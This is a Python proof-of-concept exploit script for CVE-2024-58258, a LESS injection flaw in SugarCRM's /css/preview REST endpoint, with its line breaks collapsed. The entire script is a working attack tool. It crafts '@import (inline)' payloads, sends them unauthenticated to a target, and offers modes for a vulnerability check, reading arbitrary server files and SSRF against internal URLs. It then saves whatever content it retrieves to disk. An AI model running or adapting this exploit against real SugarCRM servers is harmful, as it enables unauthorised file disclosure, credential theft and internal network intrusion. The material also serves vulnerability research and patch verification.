import requests import urllib.parse from argparse import ArgumentParser import time """ CVE-2024-58258 - SugarCRM LESS Injection / SSRF PoC Author: Egidio Romano Date: 2024 Description: SugarCRM commercial editions prior to 13.0.4 and 14.0.1 contain a vulnerability in the /css/preview REST endpoint, where user-supplied input is parsed as LESS without proper sanitization. This allows unauthenticated attackers to inject LESS directives, potentially leading to SSRF or local file disclosure on the server. """ class SugarCRMExploit: def __init__(self, target_url, proxy=None, verbose=False): self.target_url = target_url.rstrip('/') self.proxies = {'http': proxy, 'https': proxy} if proxy else {} self.verbose = verbose self.session = requests.Session() requests.packages.urllib3.disable_warnings() def test_vulnerability(self): test_payload = self._encode_payload("data:text/plain,TEST_SUCCESS") try: response = self._send_request(test_payload) if 'TEST_SUCCESS' in response.text: return True except: pass return False def read_file(self, file_path): payload = self._encode_payload(file_path) return self._send_request(payload) def ssrf_attack(self, internal_url): payload = self._encode_payload(internal_url) return self._send_request(payload) def _encode_payload(self, target): payload = f"1; @import (inline) '{target}'; @import (inline) 'data:text/plain,________';//" return urllib.parse.quote(payload, safe='') def _send_request(self, encoded_payload): url = f"{self.target_url}/rest/v10/css/preview" params = { 'baseUrl': '1', 'param': encoded_payload } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': '*/*' } if self.verbose: print(f"[*] Request URL: {url}") print(f"[*] Parameters: {params}") response = self.session.get( url, params=params, headers=headers, proxies=self.proxies, verify=False, timeout=30 ) return response def extract_content(self, response_text): if '________' in response_text: content = response_text.split('________')[0].strip() return content return None def main(): parser = ArgumentParser(description='CVE-2024-58258 - SugarCRM Exploit') parser.add_argument('target', help='Target SugarCRM URL') parser.add_argument('file_or_url', help='File path or URL to access') parser.add_argument('-p', '--proxy', help='Proxy server') parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output') parser.add_argument('-t', '--test', action='store_true', help='Test vulnerability first') args = parser.parse_args() print("CVE-2024-58258 - SugarCRM LESS Code Injection") print("=" * 50) exploit = SugarCRMExploit(args.target, args.proxy, args.verbose) if args.test: print("[*] Testing vulnerability...") if exploit.test_vulnerability(): print("[+] Target is vulnerable!") else: print("[-] Target not vulnerable") return target = args.file_or_url if target.startswith(('http://', 'https://', 'file://', 'ftp://')): print(f"[*] SSRF attack: {target}") response = exploit.ssrf_attack(target) else: print(f"[*] Reading file: {target}") response = exploit.read_file(target) if response.status_code == 200: content = exploit.extract_content(response.text) if content: print("[+] Content retrieved:") print("-" * 60) print(content) print("-" * 60) timestamp = int(time.time()) filename = f"sugarcrm_exploit_{timestamp}.txt" with open(filename, 'w', encoding='utf-8') as f: f.write(content) print(f"[+] Saved to: {filename}") else: print("[-] No content extracted") if args.verbose: print(f"[-] Response: {response.text[:500]}") else: print(f"[-] Failed with status: {response.status_code}") if __name__ == '__main__': main()